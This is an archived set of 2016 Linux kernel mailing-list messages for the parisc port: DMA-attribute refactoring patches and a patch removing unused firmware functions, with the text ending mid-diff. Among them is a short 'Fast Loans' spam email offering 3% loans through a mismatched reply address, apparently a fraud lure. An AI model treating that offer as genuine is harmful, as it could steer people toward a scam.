+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
@@ -1162,7 +1162,7 @@ static int __init setup_iommu_fixed(char *str)
 	pciep = of_find_node_by_type(NULL, "pcie-endpoint");
 
 	if (strcmp(str, "weak") == 0 || (pciep && strcmp(str, "strong") != 0))
-		iommu_fixed_is_weak = 1;
+		iommu_fixed_is_weak = DMA_ATTR_WEAK_ORDERING;
 
 	of_node_put(pciep);
 
diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
index 28b2a828c650..b70f9423379c 100644
--- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
+++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
@@ -273,7 +273,7 @@ void *rockchip_gem_prime_vmap(struct drm_gem_object *obj)
 {
 	struct rockchip_gem_object *rk_obj = to_rockchip_obj(obj);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, rk_obj->dma_attrs))
+	if (rk_obj->dma_attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return NULL;
 
 	return rk_obj->kvaddr;
diff --git a/drivers/iommu/dma-iommu.c b/drivers/iommu/dma-iommu.c
index 6c1bda504fb1..08a1e2f3690f 100644
--- a/drivers/iommu/dma-iommu.c
+++ b/drivers/iommu/dma-iommu.c
@@ -306,7 +306,7 @@ struct page **iommu_dma_alloc(struct device *dev, size_t size, gfp_t gfp,
 	} else {
 		size = ALIGN(size, min_size);
 	}
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		alloc_sizes = min_size;
 
 	count = PAGE_ALIGN(size) >> PAGE_SHIFT;
diff --git a/drivers/media/v4l2-core/videobuf2-dma-contig.c b/drivers/media/v4l2-core/videobuf2-dma-contig.c
index 1ec4434a86bb..b09b2c9b6b63 100644
--- a/drivers/media/v4l2-core/videobuf2-dma-contig.c
+++ b/drivers/media/v4l2-core/videobuf2-dma-contig.c
@@ -155,7 +155,7 @@ static void *vb2_dc_alloc(struct device *dev, unsigned long attrs,
 		return ERR_PTR(-ENOMEM);
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, buf->attrs))
+	if ((buf->attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0)
 		buf->vaddr = buf->cookie;
 
 	/* Prevent the device from being released while the buffer is used */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 1fd9860487b1..d8fb67783cb7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -101,16 +101,6 @@ static inline int is_device_dma_capable(struct device *dev)
 	return dev->dma_mask != NULL && *dev->dma_mask != DMA_MASK_NONE;
 }
 
-/**
- * dma_get_attr - check for a specific attribute
- * @attr: attribute to look for
- * @attrs: attributes to check within
- */
-static inline bool dma_get_attr(unsigned long attr, unsigned long attrs)
-{
-	return !!(attr & attrs);
-}
-
 #ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
 /*
  * These three functions are only for dma allocator.
-- 
1.9.1


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v6 36/46] parisc: dma-mapping: Use unsigned long for dma_attrs
Date: Wed, 13 Jul 2016 10:41:27 +0200
Lines: 234
Approved: news@gmane.org
Message-ID: <1468399300-5399-36-git-send-email-k.kozlowski@samsung.com>
References: <1468399167-28083-1-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-1-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-2-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-3-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-4-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-5-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-6-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-7-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-8-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-9-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-10-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-11-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-12-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-13-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-14-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-15-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-16-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-17-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-18-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-19-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-20-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-21-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-22-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-23-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-24-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-25-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-26-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-27-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-28-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-29-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-30-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-31-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-32-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-33-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-34-git-send-email-k.kozlowski@samsung.com>
 <1468399300-5399-35-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1468399496 9845 80.91.229.3 (13 Jul 2016 08:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jul 2016 08:44:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, hch@infradead.org,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 13 10:44:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bNFma-0003Eu-DK
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jul 2016 10:44:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932234AbcGMInv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jul 2016 04:43:51 -0400
Original-Received: from mailout1.w1.samsung.com ([210.118.77.11]:21825 "EHLO
	mailout1.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751220AbcGMInn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jul 2016 04:43:43 -0400
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout1.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0OA800G5FW6VAT30@mailout1.w1.samsung.com>; Wed,
 13 Jul 2016 09:42:31 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-61-5785fef74c71
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 02.41.04866.7FEF5875; Wed,
 13 Jul 2016 09:42:31 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
 by eusync3.samsung.com (Oracle Communications Messaging Server 7.0.5.31.0
 64bit (built May  5 2014))
 with ESMTPA id <0OA800KINW5J0E10@eusync3.samsung.com>; Wed,
 13 Jul 2016 09:42:31 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1468399300-5399-35-git-send-email-k.kozlowski@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprFLMWRmVeSWpSXmKPExsVy+t/xq7rf/7WGG8xawWkxZ/0aNouNM9az
	Wtz/dJvR4vSERUwW99etYrV4/cLQ4vKuOWwWj05dYHLg8PjwMc5j8wotjxMzfrN4XFj0m9Wj
	b8sqRo/Pm+QC2KK4bFJSczLLUov07RK4MnbNCSs46Vzx4eVupgbGzeZdjJwcEgImEhP6V7NC
	2GISF+6tZ+ti5OIQEljKKLF/+20WCKeRSWLtjqNgVWwCxhKbly9hA7FFBHQlVj3fxQxiMwv0
	MEkcemsFYgsL+Eksmz2HHcRmEVCVWNjUytTFyMHBK+AuceoML8QyOYmTxyaDjeQU8JC4e2kG
	M8SuHYISU/bfYp/AyLuAkWEVo2hqaXJBcVJ6rpFecWJucWleul5yfu4mRkiIfd3BuPSY1SFG
	AQ5GJR7eFYKt4UKsiWXFlbmHGCU4mJVEeJ/+BQrxpiRWVqUW5ccXleakFh9ilOZgURLnnbnr
	fYiQQHpiSWp2ampBahFMlomDU6qB8UB25hLXh563px0xcjiYEtrJfnLF9efmG8XY7dxaGyIe
	+AcuEmZ+/85mz4zbMdx3rC53WG3ftfrmpMk+tXHPmL4VyV57WxP/dsf/xxz3uec/0vuxyjG2
	KFtwxbXQObe35Lz8y3M097N2wNq385mq46e+PVLYLn5xXU2p95rpB9bfmhGXenrJ0kdKLMUZ
	iYZazEXFiQBPwP0oLQIAAA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26927 gmane.linux.kernel:2264949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26927>

Split out subsystem specific changes for easier reviews. This will be
squashed with main commit.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
---
 arch/parisc/kernel/pci-dma.c | 16 ++++++++--------
 drivers/parisc/ccio-dma.c    | 16 ++++++++--------
 drivers/parisc/sba_iommu.c   | 16 ++++++++--------
 3 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index a27e4928bf73..845fdd52e4c5 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -414,7 +414,7 @@ pcxl_dma_init(void)
 __initcall(pcxl_dma_init);
 
 static void *pa11_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	unsigned long vaddr;
 	unsigned long paddr;
@@ -441,7 +441,7 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order;
 
@@ -454,7 +454,7 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 
 static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
@@ -465,7 +465,7 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 
 static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	BUG_ON(direction == DMA_NONE);
 
@@ -484,7 +484,7 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -503,7 +503,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -577,7 +577,7 @@ struct dma_map_ops pcxl_dma_ops = {
 };
 
 static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	void *addr;
 
@@ -592,7 +592,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, struct dma_attrs *attrs)
+		dma_addr_t iova, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
 	return;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index e24b05996a1b..3ed6238f8f6e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -790,7 +790,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return ccio_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -806,7 +806,7 @@ ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void 
 ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	unsigned long flags; 
@@ -844,7 +844,7 @@ ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  */
 static void * 
 ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
       void *ret;
 #if 0
@@ -878,9 +878,9 @@ ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
  */
 static void 
 ccio_free(struct device *dev, size_t size, void *cpu_addr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
-	ccio_unmap_page(dev, dma_handle, size, 0, NULL);
+	ccio_unmap_page(dev, dma_handle, size, 0, 0);
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
@@ -907,7 +907,7 @@ ccio_free(struct device *dev, size_t size, void *cpu_addr,
  */
 static int
 ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	    enum dma_data_direction direction, struct dma_attrs *attrs)
+	    enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -984,7 +984,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	      enum dma_data_direction direction, struct dma_attrs *attrs)
+	      enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 
@@ -1004,7 +1004,7 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
 		ccio_unmap_page(dev, sg_dma_address(sglist),
-				  sg_dma_len(sglist), direction, NULL);
+				  sg_dma_len(sglist), direction, 0);
 		++sglist;
 	}
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 42ec4600b7e4..151b86b6d2e2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -783,7 +783,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 sba_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return sba_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -801,7 +801,7 @@ sba_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void
 sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #if DELAYED_RESOURCE_CNT > 0
@@ -876,7 +876,7 @@ sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  * See Documentation/DMA-API-HOWTO.txt
  */
 static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
-		gfp_t gfp, struct dma_attrs *attrs)
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -908,9 +908,9 @@ static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle
  */
 static void
 sba_free(struct device *hwdev, size_t size, void *vaddr,
-		    dma_addr_t dma_handle, struct dma_attrs *attrs)
+		    dma_addr_t dma_handle, unsigned long attrs)
 {
-	sba_unmap_page(hwdev, dma_handle, size, 0, NULL);
+	sba_unmap_page(hwdev, dma_handle, size, 0, 0);
 	free_pages((unsigned long) vaddr, get_order(size));
 }
 
@@ -943,7 +943,7 @@ int dump_run_sg = 0;
  */
 static int
 sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction, struct dma_attrs *attrs)
+	   enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -1026,7 +1026,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	     enum dma_data_direction direction, struct dma_attrs *attrs)
+	     enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #ifdef ASSERT_PDIR_SANITY
@@ -1051,7 +1051,7 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	while (sg_dma_len(sglist) && nents--) {
 
 		sba_unmap_page(dev, sg_dma_address(sglist), sg_dma_len(sglist),
-				direction, NULL);
+				direction, 0);
 #ifdef SBA_COLLECT_STATS
 		ioc->usg_pages += ((sg_dma_address(sglist) & ~IOVP_MASK) + sg_dma_len(sglist) + IOVP_SIZE - 1) >> PAGE_SHIFT;
 		ioc->usingle_calls--;	/* kluge since call is unmap_sg() */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Financial Service <bambang.prasodjo@customs.go.id>
Newsgroups: gmane.linux.ports.parisc
Subject: Fast Loans
Date: Wed, 13 Jul 2016 17:57:51 +0530
Lines: 9
Approved: news@gmane.org
Message-ID: <20160713122835.4D41B1BC8EA5@mail.customs.go.id>
Reply-To: m_rajeshkumar@aol.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1468440217 11527 80.91.229.3 (13 Jul 2016 20:03:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jul 2016 20:03:37 +0000 (UTC)
To: Recipients <bambang.prasodjo@customs.go.id>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 13 22:03:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bNQNR-0004tC-Aw
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jul 2016 22:03:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751141AbcGMUDY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jul 2016 16:03:24 -0400
Original-Received: from mail.customs.go.id ([202.61.126.135]:59911 "EHLO
	mail.customs.go.id" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751009AbcGMUDW convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jul 2016 16:03:22 -0400
X-Greylist: delayed 10324 seconds by postgrey-1.27 at vger.kernel.org; Wed, 13 Jul 2016 16:03:19 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.customs.go.id (Postfix) with ESMTP id 1550A1BC8EA5;
	Wed, 13 Jul 2016 19:29:06 +0700 (WIB)
Original-Received: from mail.customs.go.id ([127.0.0.1])
	by localhost (mail.customs.go.id [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id Vab_borJiKHS; Wed, 13 Jul 2016 19:29:05 +0700 (WIB)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.customs.go.id (Postfix) with ESMTP id AFA901BC8EAB;
	Wed, 13 Jul 2016 19:29:05 +0700 (WIB)
DKIM-Filter: OpenDKIM Filter v2.8.4 mail.customs.go.id AFA901BC8EAB
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=customs.go.id;
	s=_adsp; t=1468412945;
	bh=AuiOesxJuykKB+NX33rOVgIpOBTSxXwf5YaDBBbLYsQ=;
	h=Content-Type:MIME-Version:Content-Transfer-Encoding:Subject:To:
	 From:Date:Reply-To:Message-Id;
	b=n4FIbtVW5rpbcw3PvzpMZmmQvp/Ghwzvm9NhRNOs9wxmarWs9Ji7/LoUHnModHBiU
	 7jVph5RsopI/dCCyJYsm3I3vQa8UuBzLLG1TN5QwPZMby7BvKLJe3V29aKqxCftTaM
	 uamcBojn7Gz12udkaH+Oo6kSfw0No4L/2q9pyyZA=
X-Virus-Scanned: amavisd-new at customs.go.id
Original-Received: from mail.customs.go.id ([127.0.0.1])
	by localhost (mail.customs.go.id [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id snpeGZkrEP_r; Wed, 13 Jul 2016 19:29:05 +0700 (WIB)
Original-Received: from [100.66.164.213] (unknown [116.202.34.147])
	by mail.customs.go.id (Postfix) with ESMTPSA id 4D41B1BC8EA5;
	Wed, 13 Jul 2016 19:28:34 +0700 (WIB)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26928>

Hae lainaa 3% vastaus t=E4h=E4n viestiin lis=E4tietoja

Apply for a loan at 3% reply to this Email for more Info
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [patch] parisc: delete some unused functions from firmware.c
Date: Thu, 14 Jul 2016 13:47:01 +0300
Lines: 73
Approved: news@gmane.org
Message-ID: <20160714104700.GH18175@mwanda>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1468493255 468 80.91.229.3 (14 Jul 2016 10:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jul 2016 10:47:35 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 14 12:47:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bNeAr-0008Ue-Fs
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jul 2016 12:47:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751088AbcGNKrU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jul 2016 06:47:20 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:32443 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750967AbcGNKrT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jul 2016 06:47:19 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u6EAlCBx010070
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 14 Jul 2016 10:47:13 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
	by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id u6EAlCQ0030426
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 14 Jul 2016 10:47:12 GMT
Original-Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12])
	by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id u6EAl8HT030286;
	Thu, 14 Jul 2016 10:47:12 GMT
Original-Received: from mwanda (/154.0.139.178)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Thu, 14 Jul 2016 03:47:07 -0700
Content-Disposition: inline
User-Agent: Mutt/1.6.0 (2016-04-01)
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26929 gmane.linux.kernel.janitors:38254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26929>

The pdc_pat_io_pci_cfg_read() is problematic because it's missing some
break statements so it copies 4 bytes regardless of whether you asked
for only 1 or 2.  But since neither this nor the write function are
used, it means we can just delete the code.

Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index 47539f1..c89d8c0 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -293,11 +293,6 @@ extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa);
 
 extern int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, unsigned long count, unsigned long offset);
 
-
-extern int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *val); 
-extern int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val); 
-
-
 /* Flag to indicate this is a PAT box...don't use this unless you
 ** really have to...it might go away some day.
 */
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 2239590..12545a2 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1338,51 +1338,6 @@ int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr,
 	return retval;
 }
 
-/**
- * pdc_pat_io_pci_cfg_read - Read PCI configuration space.
- * @pci_addr: PCI configuration space address for which the read request is being made.
- * @pci_size: Size of read in bytes. Valid values are 1, 2, and 4. 
- * @mem_addr: Pointer to return memory buffer.
- *
- */
-int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *mem_addr)
-{
-	int retval;
-	unsigned long flags;
-
-	spin_lock_irqsave(&pdc_lock, flags);
-	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_READ,
-					__pa(pdc_result), pci_addr, pci_size);
-	switch(pci_size) {
-		case 1: *(u8 *) mem_addr =  (u8)  pdc_result[0];
-		case 2: *(u16 *)mem_addr =  (u16) pdc_result[0];
